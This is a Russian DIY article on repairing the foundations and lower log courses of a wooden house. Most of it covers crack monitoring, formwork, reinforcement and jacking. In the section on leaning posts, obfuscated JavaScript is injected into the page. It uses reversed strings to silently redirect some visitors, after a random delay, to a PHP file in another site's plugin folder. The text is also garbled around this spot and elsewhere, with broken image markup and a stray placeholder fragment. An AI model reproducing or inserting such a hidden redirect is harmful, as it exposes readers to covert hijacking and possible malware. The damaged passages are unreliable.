Ремонт фундамента деревянного дома

Содержание

Столбчатый фундамент и его ремонт

На оседание столбчатого фундамента влияет изменение нижнего слоя грунта. Кроме того, нередко негативные последствия оказывают ведущиеся поблизости строительные земельные работы.

Может быть всё наоборот, сваи начинают подниматься, перекашивая дом и тем самым портя весь сделанный ремонт в нем. Это также связано с изменениями в грунтах.

Оседание столбчатого фундамента

Самый первый признак – это трещины на столбе, которые постепенно могут увеличиваться. При первых видных изменениях требуется принятие мер. Советуем вырыть яму под углом 35°, глубина которой достигнет основания постелистого камня.

После этого необходима вставка из асбестоцементной трубы с диаметром около 20 см и ее заливка раствором.

Затем снова устанавливаются маяки на трещины и укрепляется деревянная планка у начала цоколя и кромки верхней части отмостки.

Крены столбов

Иногда случается так, что дом, который уверенно стоял долгое время, начал крениться. Причиной этого являются сырые грунты. На рисунке 7 представлена чёткая схема проведения работ по исправлению крена.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tod-ispravleniya-krena.jpg» alt=»Рисунок 7. Метод исправления крена» width=»480″ height=»250″ /> Рисунок 7. Метод исправления крена

Необходимо сделать подкоп под столбы, применить усилия для выравнивания, залить бетон и закопать столбы. Эту процедуру необходимо повторить через год.

Профессионалы советуют:

Поднять дом и поставить его на опоры. Ни двери, ни окна снимать не нужно.
Демонтировать наклонившиеся столбы.
Сделать под домом траншею и утрамбовать песчаную подушку.
Залить армированную ленту толщиной 20 см.
Поставить на ленту столбы.
Смонтировать стальные балки.
Опустить дом на созданный вновь фундамент и отрегулировать его положение.

Главное в процессе ремонта фундамента – это своевременно начать работы. Только в этом случае дом будет служить вам ещё долгие и долгие годы.

Виды повреждений цоколя и их причины

Такая трещина уже опасна Чаще всего возникают следующие повреждения цоколя дома:

разрушение внешней поверхности кирпичной кладки (отшелушивание);
трещины в конструкции;
просадка цоколя.

Вызываются они многими причинами:

просадка грунта;
просадка фундамента;
некачественные стройматериалы, из которых возведен цоколь;
некачественное выполнение строительных работ;
неправильная или разрушенная гидроизоляция;
неправильный расчет, не учитывающий действующую нагрузку на конструкцию;
увеличение нагрузки в ходе эксплуатации, ремонта или реконструкции (например, надстройка второго этажа в коттедже).

Причем дефекты в большинстве случаев возникают не по одной причине, а по их совокупности. Например, шелушение может вызываться тем, что выбран кирпич пониженной морозостойкости, и к тому же потеряла свои свойства гидроизоляция.

Просадка цоколя

Выявляется трещинами в массиве кирпичной кладки и даже отклонением поверхностей цоколя от вертикали или горизонтали. Обнаружив такой дефект, нужно действовать следующим образом.

Определяем, продолжается ли просадка цоколя

Пример установки маяков на трещине О продолжении просадки свидетельствует постоянное расширение трещин. Определить есть оно или нет можно простым способом с помощью маяков.

Сделать их просто:

Нарезаем полоски бумаги шириной около 2 сантиметров и длиной 10-15 сантиметров.
С помощью прочного клея прикрепляем их так, чтобы они как бы стягивали трещину (похоже на ремонт изолентой или пластырем, но цель другая).
Желательно написать на каждом маяке дату наклейки.
По истечении 10 дней смотрим — целые ли остались наши ленты. Если целые, то усадка больше не происходит.

Кстати, таким же способом нужно контролировать и результат работ по устранению усадки и укрепления фундамента.

Определяем, есть ли просадка фундамента

В 90% случаев, причина, почему просел кирпичный цоколь на ленточном фундаменте, это осадка последнего. Для того чтобы убедится что виноват только цоколь (это бывает редко), в местах, где на цоколе больше всего трещин, небольшими шурфами обнажаем фундамент.

Скорее всего, там тоже будут трещины. Известным уже способом, с помощью маяков определяем, есть ли у них расширение.

Проводить ли работы по укреплению фундамента и цоколя, если просадка закончилась?

Многие рекомендуют, убедившись, что просадки больше нет, просто заделать трещины и при необходимости провести косметический ремонт. Однако нет никакой уверенности в том, что процессы вызвавшие просадку (например, изменение горизонта грунтовых вод) больше не повторятся. Поэтому усиление проводить нужно в любом случае.

Защита и отделка цоколя

Увеличенный свес крыши защищает фундамент Кроме плохой гидроизоляции повышенная влажность, ведущая к разрушению его материала, создается еще и при попадании дождевой воды. Частично защитить от атмосферных осадков может увеличение навеса крыши.

От дождевой воды, попадающей из грунта, защитить может только правильно сделанная отмостка. После ремонта цоколя ее обязательно нужно восстанавливать или устаивать, если она отсутствовала вообще (чаще всего она ремонту не подлежит). Поэтому подробно расскажем, как правильно сделать отмостку.

Восстановление и возведение отмостки

Так делается правильная отмостка (про дренаж мы не рассказывали, это отдельная тема) В первую очередь необходимо подготовить площадку, убрать разрушенные куски бетона от старой отмостки и другие материалы.

Затем начинаем работы, о них снова поэтапно:

Проводим земляные работы. Для отмостки нужно приготовить неглубокую траншею. Ширина ее не менее 70 сантиметров, но чем больше, тем лучше. Глубина не менее 30 сантиметров.
Дно траншеи уплотняем, затем устраиваем подушку из песка, щебня и щебне-песчаной смеси, по которой тщательно по несколько раз проходим виброплощадкой или, в крайнем случае, трамбуем.
Следующий этап — устройство опалубки. Она представляет собой уложенные по периметру доски или рейки, которые закрепляем колышками и подсыпкой. Нужно предусмотреть, чтобы верхний край залитой отмостки, хотя бы на 5 сантиметров был выше грунта.

Опалубка и арматура отмостки Еще лучше вместо опалубки положить бортовой камень для тротуаров на бетонные замки (правда это дополнительные затраты труда и материала), так наша отмостка будет надежно защищена от обламывания краев.

Неплохая отмостка получается из тротуарной плитки

Кроме отмостки по периметру нужно также предусмотреть и деформационные швы. Их конечно можно прорезать и позже, но зачем тратить лишнее время и изнашивать диски для резки бетона, лучше предусмотреть сразу при заливке. Укладываем тонкие рейки или другой материал по периметру стены, а также через расстояние 3-4 метра перпендикулярно ей. Размечаем их.

Многие мастера рекомендуют вообще связывать отмостку с цоколем с помощью связей, но это не правильно. Во-первых, у них фундамент не садится при замерзании-оттаивании грунта. Во-вторых, у бетона и кирпича разные коэффициенты температурного расширения. Поэтому дать им свободу нужно обязательно.

Для устройства деформационных швов лучше применить очень сухую доску небольшой толщины, пропитанную нефтепродуктами, иначе извлечь ее будет проблематично (обычный бетон хоть и немного, но расширяется). Еще лучше взять обрезки металла или других материалов, не разбухающих от воды.
После укладки опалубки, армируем будущую отмостку. Как правило, достаточно сетки уложенной на 5-10 сантиметров. Как уже говорилось выше, связывать ее с фундаментом или цоколем не только не имеет смысла, но и вовсе опасно, так как это грозит потерей прочности.
Заливаем конструкцию. Для уплотнения и выравнивания лучше использовать виброрейку.

Укладка бетона в отмостку

Уход за бетоном обычный. Кстати, поверхность горизонтальная, желательно просыпать ее мокрым песком или опилками постоянно увлажняя их. Пленку тогда можно использовать и прозрачную, она лишь защищает от испарения.
Когда бетон достигнет распалубочной прочности, удаляем опалубку. Очень аккуратно эту работу нужно проводить с рейками, обеспечивающими деформационные швы.
Швы заполняем либо специальным герметиком, либо готовыми вставками из полимера для таких работ.

Заделка деформационных швов

Армирование и установление опалубки для реставрации фундамента

Теперь перед нами стоит уже не очень ровный и не очень красивый цоколь, поскольку кто-то подолбил его долотом! Зато прочный! Теперь нам нужно из этого мусора сделать красивый армированный пояс и все предельно выровнять, чтобы не подгонять сильно ноль под будущую кладку. Лучше сразу все сделать по уровню – намного меньше забот в будущем, а если попадется толковый каменщик, тогда и вообще не нужны буду дополнительные выравнивания. Рассмотрим ремонт кирпичного фундамента подробнее в пошаговой инструкции.

ШАГ 1: забиваем везде арматуру. Пояс должен быть армированным, поэтому берем болгарку и нарезаем прутики из 14-й арматуры по 30-60 сантиметров. Из расчета 2 коротких и 2 длинных прутика на каждые 50 погонных сантиметров по всему периметру. Забиваем: те, что по 30 см – сбоку, которые по 60 см – сверху, углубляем наполовину. Лучше воспользоваться дрелью по бетону или перфоратором для проделывания отверстий и сразу выставить нужную метку на глубиномере инструмента. Если все сделать правильно, у нас получится «ежик»: арматура будет торчать во все стороны, по бокам на 15-20 см, сверху на 25-30 см.

ШАГ 2: вязка арматуры. Используем специальную стальную проволоку для вязки (если понты не нужны – скрепляем все алюминиевой или любой другой проволокой), чтобы было все по СНиП. Проще работать самодельным крючком для вязки, либо крепить вручную (лучше попросить жену, детей или соседа помочь, поскольку на это простое занятие можно потратить даже не 1 и не 2 часа). Берем длинную арматуру, и вяжем ее по периметру к каждому забитому колышку.

ШАГ 3: выставление опалубки. Дело капец какое скучное и неинтересное, но ремонт фундамента старого дома без этого никак не обходится. Если сосед, который помогал с вязкой арматуры, еще не сбежал – вам повезло. Берите подсобника и начинаем выставлять щиты из ОСБ по периметру, который надо восстановить. Крепить проще дюбелями к бетону сбоку, через каждые 25 см. Между листами ОСБ вставляем деревянные бруски, длина которых равна необходимой ширине цоколя – таким образом мы сделаем везде одинаковое значение. Листы можно крепить непосредственно брусками, завинтив в торец по несколько шурупов по дереву или стянуть проволокой между собой.

ШАГ 4: проверяем, измеряем. Прочность опалубки можно определить «на зуб». Грызть, конечно не стоит без крайней необходимости, но хорошенько подергать опалубку, проверить все места креплений брусков между ОСБ листами, стяжки и дюбеля не помешает. Помните, что лучше лишний раз прикрепить, чем оторвется 1 дюбель и вся работа коту под хвост пойдет, ничего уже не сделаете потом. Если вы делали опалубку кирпичом, убедитесь, что цемент схватился уже (поменял цвет).

Нужно сразу отметить, что ремонт фундамента дома своими руками не является легким процессом и здесь нельзя ленится и экономить время на креплении опалубок или установке арматуры. Если залить цоколь криво, то выравнивать его будет крайне тяжело и это лишние расходы. Надо всегда пользоваться уровнем, прикладывать его по вертикали и горизонтали к листам, проверять их установку.

Причины нарушения целостности основания

Все причины, влияющие на разрушение оснований и фундаментов, формально делятся на 2 группы. Первая подразумевает потерю несущих способностей, связанную с ослаблением грунта, являющегося для него опорой. Во втором случае это нарушение целостности самой конструкции. Происходит это из-за некачественного монтажа или под воздействием негативных факторов, губительно влияющих на него.

Причины разрушения оснований

Факторы	Краткая характеристика
Снижение качеств несущей способности грунта	Случается это из-за подмыва или подтопления грунта. Он перенасыщается влагой и теряет свои характерные способности.
Образование пустоты в грунте	Основная причина касается подмывания, но процесс происходит в другом порядке. Несущие способности почвы остаются на своём уровне, а под самой конструкцией образуется пустота, в результате которой происходит обрушение цоколя.
Наличие в почве негативных веществ, разрушающих конструкцию	Мергели и известняки в почве считаются основными разрушителями бетонного фундамента на молекулярном уровне.
«Подработки»	Подземная пустота, которая образуется на участке, расположенном рядом с шахтами, нефтяными скважинами, местами забора грунтовой воды.
Воздействие поземных вод	Взаимодействие с водой приводит к процессу окисления металлов, таким образом даже в том случае если показатель несущих способностей останется без изменения, цоколь может разрушиться. Отдельно следует упомянуть о воде со щелочными и кислотными примесями.
Неправильная технология монтажа	Перечислять такие причины разрушения можно очень долго. Основной считается неправильное определение глубины заложения, объясняющееся экономией владельца. Ещё одна частая причина происходит при заливке ленточного фундамента своими руками. Вместо качественной бетонной смеси используется силикатный кирпич, шлакобетон и другие материалы, считающимися непригодными для применения в армированном составе основания дома.

На ленточном фундаменте

Работа более сложная, потому что требует частичного разрушения фундамента и выпиливания ниш под домкраты. Ниши вырезаются в прогнивших венцах, затрагивают пол и часть фундамента. Такой монтаж необходим для того, чтобы домкрат свободно ходил вниз и вверх.

Можно использовать альтернативный вариант: рычажную систему. В качестве рычага можно взять бревно из твердой породы дерева или металлический швеллер номер 10-12.

В верхнем бревне нижнего венца делается ниша под швеллер или рельс. Для этого выбирается древесина на расстоянии 1-1,5 м с каждого угла.
Швеллер вставляется в нишу.
Угол дома поднимается домкратом.
Между фундаментом и швеллером вбиваются деревянные клинья.
Когда нижнее бревно свободно от нагрузки, его снимают.
Выбивают клинья, опускают домкрат, швеллер убирают.
Ставят временные опоры.
Убирают верхние бревна нижнего венца.
Опять берут швеллер, забивают клинья и поднимают дом.
Убирают временные опоры, заменяют бревна, снимают клинья, и сруб встает на новые венцы.

Полная замена или усиление?

Укрепление основы дома менее затратный способ, чем полная замена фундамента. Ремонт ленточного фундамента выполнить сложнее, чем отреставрировать столбчатый. Для решения вопроса о частичной или полной замене основания дома необходимо провести анализ степени разрушения, наличия расходящихся трещин фундамента.

Бывают ситуации, когда проблема решается обычной заливкой щелей цементным раствором. При заваливании конструкции дома на одну сторону, значительном разрушении и образовании новых трещин в фундаменте, необходима полная замена основания.

Усиление проводят не зависимо от его состояния в следующих ситуациях:

Если оседание дома превышает допустимые пределы;
При возведении второго этажа дома;
Если дом подвергается постоянным вибрациям: Расположение близ железной дороги, возведение многоэтажных домов или строительство метрополитенов.

Существует несколько способов укрепления фундамента ленточного типа выполненного из кирпича, камня или железобетонного раствора:

Установка микросвай;
Расширение подошвы дома;
Цементная рубашка;
Торкретбетон;
Укладка обоймы с расширением подошвы и без;
Подведение свежего фундамента;
Цементирование;
Замена кирпичной кладки.

Полная замена производится в случае если старый не справляется с возложенными на него функциями и сильно просел.nt goes here

Укрепление поможет распределить оказываемую нагрузку на основание. После ремонтных работ фундамент не будет проседать и рушиться.

Облицовка фундамента деревянного дома

По желанию владельца дома проводятся работы по облицовке цоколя. Современный рынок стройматериалов предлагает домовладельцам массу различных вариантов. Кто-то предпочитает выложить цоколь «под расшивку» силикатным, керамическим или гиперпрессованным кирпичом. Другие ограничиваются плиткой «под кирпич».

Хозяева деревянных домов нередко используют для облицовки фундамента специальный цокольный сайдинг, пластиковый или металлический, имитирующий оцилиндрованный брус (блок-хаус) или доску (вагонка или «елочка»). Метод этот достаточно простой и недорогостоящий, облицовка легко устанавливается на все виды каменных, бетонных или свайных фундаментов.

Очень хорошее решение – использование современных отделочных материалов, совмещающих и утеплительные, и декоративные свойства. Речь идет о термопанелях со слоем пенополиуретановой или пенополистирольной изоляции с нанесенной на них декоративной отделкой в виде клинкерной или гиперпрессованной плитки под камень или кирпич. Конечно, стоимость у таких материалов немалая, но их качества ее оправдывают.

В заключении несколько слов о том, что ремонт или переделка фундамента деревянного дома относятся к работам повышенной сложности и опасности. Нужно трезво оценить свои возможности, и лишь при полной уверенности в собственных силах браться за подобные мероприятия. Абсолютно недопустимы спешка или малейшие пренебрежения техникой безопасности или технологией строительства.

Как происходит монтаж сборных ленточных фундаментов, вы узнаете в данной статье.

А тут статья про мелкозаглубленный ленточный фундамент.

Тут https://ru-house.net/stroitelstvo/fundament/ вы найдете много познавательных статей про фундамент для вашего дома.

Предварительные работы

Учитывая то, что большая часть восстановительных работ требует подъема дома, необходимо позаботиться об уменьшении нагрузки на фундамент. Сделать это можно:

удалив из дома всю мебель и другие вещи;
демонтировав пол;
разобрать и удалив печь, если только она не стоит на отдельном фундаменте

Подъем дома осуществляется при помощи домкратов – можно использовать автомобильные механические или гидравлические, приспособленные для ваших условий работы. Если старый фундамент столбчатый, то домкраты устанавливаются на заранее подготовленные площадки (несколько сбитых таким образом досок, чтобы они образовывали площадку полметра на полметра). Часть венца, на которую будет приходить основное подъемное усилие от домкрата, выбирают в угловой части дома, убирая часть забирки, выбивая кирпичи цоколя или долбя монолит ленты старого фундамента. Чтобы при подъеме дома не страдал его нижний венец, усилие от домкрата передается через стальную пластину (толщиной не менее 5 мм).

Дополнительно обезопасить дом от разрушения вследствие подъема (и, соответственно, смещения его центра тяжести) можно за счет вбивания длинных вертикально ориентированных досок в каждое бревно, обеспечив тем самым дополнительную жесткость конструкции. Целесообразность такого подхода зависит от состояния дома.

Почему дом начинает двигаться – основные причины

Если ваш дом начинает понемногу куда-то «уезжать», это еще не повод проклинать прораба или строителей, которые вам заливали фундамент или ставили на него дом. Существует большое количество причин, по которым бетон может потрескаться, а все сооружение проседать на несколько сантиметров и более. Рассмотрим их подробнее.

Нарушение целостности отмостки. Это можно произойти в результате механического воздействия (например, при сооружении канализации с пробиванием отверстий в основании), а также при постоянном попадании влаги непосредственно под бетонное основание. Почва становится мягкой, начинает уходить вниз.
Неоднородный состав почвы и неправильный геодезический анализ.
Превышение предельной нагрузки, которая могла оказываться на почву в этом месте.
Поднятие грунтовых вод, в результате воздействия которых почва теряет свою плотность.

Существует также и человеческий фактор, например, неправильное соотношение цемента, щебня и песка или отсутствие армирования. Большую роль играет глубина заливания бетона, если она будет недостаточной для веса конструкции, бетон треснет под весом, преимущественно по углам здания.

Полезные советы

Частичную реставрацию по восстановлению фундамента проводят, когда дефекты, повреждения характеризуются как незначительные. В такой ситуации делают несколько подкопов под дом с внешней стороны стены, либо сплошная траншея. Труху, старый песок удаляют, канавы армируют и заливают бетоном.

Поднять на фундамент своими руками без посторонней помощи не получится. Для того, чтобы сруб был установлен и закреплен без перекосов, нужно несколько человек.

При частичной реставрации кирпичной основы, мастера советуют проводить работы так:

удаляют остатки разрушенной кладки;
канаву заливают жидким бетоном до половины, делают так, чтобы смесь проникла в почву и трещины, швы между кирпичами;
после того как первый слой начал застывать, монтируют опалубку;
арматура устанавливается на нижний слой бетона;
замешивается бетонная смесь нормальной консистенции, которой заливается траншея до краев.

После полного вызревания бетона сруб устанавливают на фундамент. Этот метод реставрации позволяет увеличить износостойкость, прочность старого основания. Способ не требует больших затрат, наличия специальной строительной техники.

Фундамент под любым деревянным срубом со временем приходит в негодность. Если его своевременно не заменить, здание может разрушиться. Сложность заключается в том, что на время ремонтно — строительных работ семья должна переехать в другое жилище. Проживать в доме нельзя будет весь срок от начала до конца реставрации основы и нижней части цоколя.

Гидроизоляция фундамента для увеличения срока службы

Правильно выполненная гидроизоляция существенно продлевает срок эксплуатации фундамента. Боковые поверхности фундамента, бетонные конструкции обмазывают битумом. Далее наклеивается рубероид или листовой пенополистирол. Такая изоляция утепляет фундамент, защищает от влаги и повышает морозоустойчивость.

Если имеется подвальное помещение, то стоит изнутри изолировать его от попадания влаги. Для этого грунт углубляется, укладывается три слоя гидроизоляционного материала, при этом склеивая стыки битумом. Листы должны идти внахлест на стену, на длину около 30 см. Сверху заливается стяжка из цемента и песка минимальным слоем 5 см. Отделку можно выполнить любыми материалами — годится керамическая плитка, линолеум и другие облицовочные стройматериалы.

Частичная замена бревна

Если бревно повреждено частично, то технология замены данного участка следующая.

На бревне находят место, где бревно сгнило.
На расстоянии 40 см от каждого края повреждения ставят стяжки на три венца. Края досок закрепляют через просверленные отверстия шпильками диаметром 8-10 мм. Для этого используется доска толщиной 40 мм. Их устанавливают с наружной и внутренней стороны дома.
Поврежденную часть древесины выпиливают.
На части оставшегося бревна делают врубки шириной 2 см.
Вырезают элемент, которым закроют поврежденное место.
На нем также делают врубки таким образом, чтобы они плотно входили во врубки на бревне.
Фиксируют новый брусок с помощью нагелей.
Если на бревне есть щели, то их нужно проконопатить.

Ремонт фундамента деревянного дома своими руками

Деревянный фундамент в основном делается из сосны или лиственницы. Конструкция из древесины всегда требует полной замены, так как со временем она целиком покрывается грибком и гниёт. Замену старых элементов такого основания на новые осуществляют следующим образом:

При помощи домкратов дом поднимают над старым фундаментом на такую высоту, чтобы было удобно проводить работы по демонтажу старых столбов и установке новых

При этом важно не переусердствовать, иначе нижний венец дома может треснуть или провиснуть.

Прогнившие столбы убирают, а покосившиеся, но при этом по-прежнему качественные опоры располагают прямо.
В местах, где нужно установить новые столбы, удаляют грунт. Дно каждого основания под опору засыпают песком слоем в 10 см

На утрамбованной песчаной «подушке» создают бетонную «пяту». Она представляет собой слой цементного раствора толщиной 20 см. В бетон, пока он не затвердел, ставят обёрнутый гидроизоляционным полотном новый деревянный столб.

Установленные столбы засыпают землёй и щебнем крупной фракции. После выравнивания на опоры кладут рубероид и ставят деревянные балки. На них опускают строение.

Повреждённый фундамент обветшавшего деревянного дома можно привести в порядок. Для этого необходимо получить необходимые знания и выбрать технологию ремонта или замены. Реконструкцию основания дома можно выполнить и своими руками, если есть желание и хотя бы небольшой опыт производства строительных работ.

Обновление венцов дома домкратным методом подъёма

Подготовительные работы

Самый распространённый способ обновления нижних венцов подразумевает использование домкрата. Перед началом работ необходимо произвести подготовку строения к подъёму:

Максимально облегчите вес здания.
Удалите, если есть, часть внешней обшивки фасада .
Закрепите нижние неповреждённые брёвна вертикальными деревянными стяжками с шагом в полметра, желательно как с внешней, так и с внутренней стороны.
Снимите в доме плинтусы, по возможности отдалите пол от стен.
Отключите жёстко подключенные коммуникации: газ (силами обслуживающей организации), воду, канализацию.
Если в доме установлена печь или камин, то необходимо удалить часть пола вокруг них, разобрать дымоход или часть кровли и межэтажного перекрытия вокруг дымохода.

Материалы и инструменты

Подготовьте следующие материалы:

Огнебиозащитное средство для дерева.
Битумная мастика.
Подходящие по размеру брёвна или брус.
Любой уплотнительный материал для брёвен (пакля и т. д.).
Кирпичи, цементно-песчаная смесь для кладки — в случае необходимости обновления кирпичного фундамента либо замены кладкой венцов дома.

Инструменты:

Домкраты (с грузоподъёмностью как минимум 2,5-5 тонн) — 4 штуки, а также 4 металлических пластины для подпора.
Широкие блоки или брус, в качестве опорных.
Рычаги (металлический швеллер, двутавровая балка или брус).
Рубанок.
Топор.
Бензопилу.
Кувалду.
Стамеску.
Предварительно смонтированную швеллерную либо брусовую опорную перемычку для подстраховки и поддержки конструкции.

Подъём здания на домкратах. Поэтапная замена венцов

Работы производятся в следующем порядке:

Отметьте и выпилите по габаритам домкратов места их расположения в верхних брёвнах нижнего венца, с расстоянием до углов дома — 1 метр. Установка домкрата осуществляется в зависимости от типа фундамента.

1 — нижнее бревно венца; 2 — опора рычага; 3 — деревянные клинья; 4 — верхнее бревно венца; 5 — рычаг (швеллер); 6 — ленточный фундамент; 7 — домкрат

Установите опорные блоки под домкраты и расположите на них устройства, также положив на их поверхность металлические швеллеры/рычаги, если фундамент ленточный . Если он столбчатый, домкраты устанавливаются непосредственно под здание.

Подъём дома осуществляйте равномерно с участием ещё 3-х помощников. Не спешите, следите за равномерным подъёмом.
После подъёма нижние брёвна можно сразу убрать.
После поднятия дома на домкратах под его стены необходимо завести опорную конструкцию (в случае со столбчатым фундаментом) либо подложить клинья (на ленточном) и оставить их на то время, пока будет продолжаться ремонт фундамента и его гидроизоляция, демонтаж повреждённых венцов и обработка дерева огнебиозащитой.
После того как домкраты будут опущены, на них необходимо уложить новое несущее бревно и, подняв устройство над опорами, плотно его зафиксировать. Так нужно сделать со всех сторон здания.
Далее все промежутки необходимо обработать и заткнуть паклей.

Не рекомендуется производить подъём здания в штормовую погоду, а также в период капризного поведения грунта — зимой и в период паводков.
Не заводите конечности под поднятое строение, если вы не уверены в его плотной фиксации.
Тщательно производите осмотр брёвен, и тщательно обрабатывайте их специализированными средствами.
Если не уверены в своих силах — доверьте работу профессионалам. В среднем стоимость замены нижних венцов может обойтись в 30-40 тысяч рублей.
Самым лучшим материалом для закладных послужат брёвна лиственницы. Они дорогостоящие, но вместе с тем долговечны. Конструкция из них влагостойка и прочна и может «прожить» до 50 лет.

Таким образом, заменить нижние венцы дома и продлить срок эксплуатации строения, даже при значительном повреждении несущих брёвен, можно самостоятельно. И хотя в отдельных случаях это может показаться сложной работой, она вполне осуществима при тщательном выполнении всех инструкций и рекомендаций.

Дерево как строительный материал имеет, несомненно, множество преимуществ. Однако особенностью дерева является то, что со временем оно может гнить. Как правило, чаще всего страдают нижние, закладные венцы в деревянном доме. Это может быть связано с неправильной эксплуатацией дома, деформацией, некачественно выполненной гидроизоляцией. Кроме того, нижняя часть постройки испытывает наибольшую нагрузку, потому и приходит в негодность быстрее. Замена сгнивших венцов представляет собой непростую работу. Однако при соблюдении всех правил ее вполне можно выполнить, но при условии, что вы владеете определенными строительными навыками.

Схема поднятия дома над фундаментом и замены венца.

Подготовительные работы

Чтобы установить степень повреждения основания, необходимо произвести визуальную оценку его состояния. Для этого следует удалить внешний отделочный слой (штукатурка, сайдинг и т.п.). По периметру здания роется траншея глубиной до основания фундамента.

При сильных повреждениях основания необходимо произвести его замену

Это позволяет наиболее точно оценить степень его износа:

Минимальные повреждения. Не оказывают особого влияния на технические характеристики. Как правило, это некие внешние дефекты, например, отслоившаяся штукатурка.
Повреждения средней тяжести. Это растрескивания и проседания, которые угрожают целостности всей конструкции.
Сильные повреждения – это необратимые разрушения фундамента, в результате которых он полностью или в значительной мере потерял свои несущие качества.

Если в первом и втором случаях вполне возможно обойтись ремонтными работами, то в третьем, чаще всего, требуется полная замена основания. Для того, чтобы выявить динамику разрушения при появившихся трещинах, следует на них установить маячки. Изнутри на стены подвала или цоколя, можно наклеить в местах растрескивания бумажную полосу.

В случае если трещины имеют склонность к увеличению, по истечении времени произойдёт разрыв бумаги. С внешней стороны вместо бумаги можно применить шпаклёвку, нанеся мазок поперёк трещины, и понаблюдать движутся ли две части основания относительно друг друга.

Замена старого ленточного фундамента деревянного дома

Первоначальная подготовка и поднятие дома выполняется аналогично, как и в предыдущих случаях. Только поднимается все строение и демонтируется полностью весь ленточный фундамент до грунта.

Допускается частичный демонтаж и последующая замена, что мало снижает стоимость работ, но уменьшает сроки службы фундамента и прочность конструкции.

Этапы проведения работ по устройству ленточного фундамента:

1. Подготавливается траншея.

2. В траншею засыпается песок и цемент, утрамбовывается.

3. Устанавливаются опоры по углам дома высотой равной высоте фундамента, можно использовать как кирпичную кладку, так и бетонные конструкции. По желанию можно вмонтировать сваи. Такие опорные столбы снизят давление на ленточный фундамент.

4. Устанавливается арматура с использованием проволоки, которая придаст прочности основанию.

5. Выполняется монтаж опалубки и заливается бетонный раствор.

6. Прочность бетонная конструкция ленточного фундамента обретет через пару-тройку дней, после чего снимается опалубка и основание оставляется еще на 2 суток.

7. Укладывается гидроизоляция, к примеру, рубероид.

8. Аккуратно опускается дом на готовый фундамент, и выполняются заключительные работы по полной гидроизоляции, дренажированию, устройству отмостки и облицовке фундамента.

В каких случаях необходим ремонт фундамента

Здания, построенные из дерева, считаются достаточно легковесными и поэтому обычно их возводят на ленточных фундаментах и сильно не заглубляют. Лет 40-50 такое основание исправно выдерживает нагрузку, а далее приходится браться за ремонт, чтобы предотвратить разрушение строения.

Проблемы, которые появляются в старом деревянном доме и являются сигналом необходимости ремонта, выглядят так:

здание вместе с фундаментом проседает (нижние венцы строения могут даже оказаться под землей);
дверные и оконные проемы перекашиваются, в результате плохо открываются и закрываются;
появляются и увеличиваются трещины на стенах;
основание растрескивается и разрушается;
крыльцо изменяет свое положение.

Нагрузки от вибраций

Пример участка где фундамент поддается вибрационным нагрузкам

Вблизи дорог часто фундаменты домов разрушаются от вибраций. Таким нагрузкам не подвергаются дачные дома. В городе тяжёлый транспорт проезжая, постепенно разрушает его.

В таком случае котлован делают шире на 45 см, выставляют опалубки вокруг углов, а после армирования и заливки бетоном, засыпают образовавшееся пространство песком.

Пролив его водой несколько раз. Насчёт глубины, подушка должна быть толще на 10-15 см, от стандартной, примерно 25 см. Щебень при уплотнении подушки перемешивают в пропорции 1:1. Проведя такие простые меры, частично гасить вибрации удастся, продлив при этом жизнь своего кирпичного дома.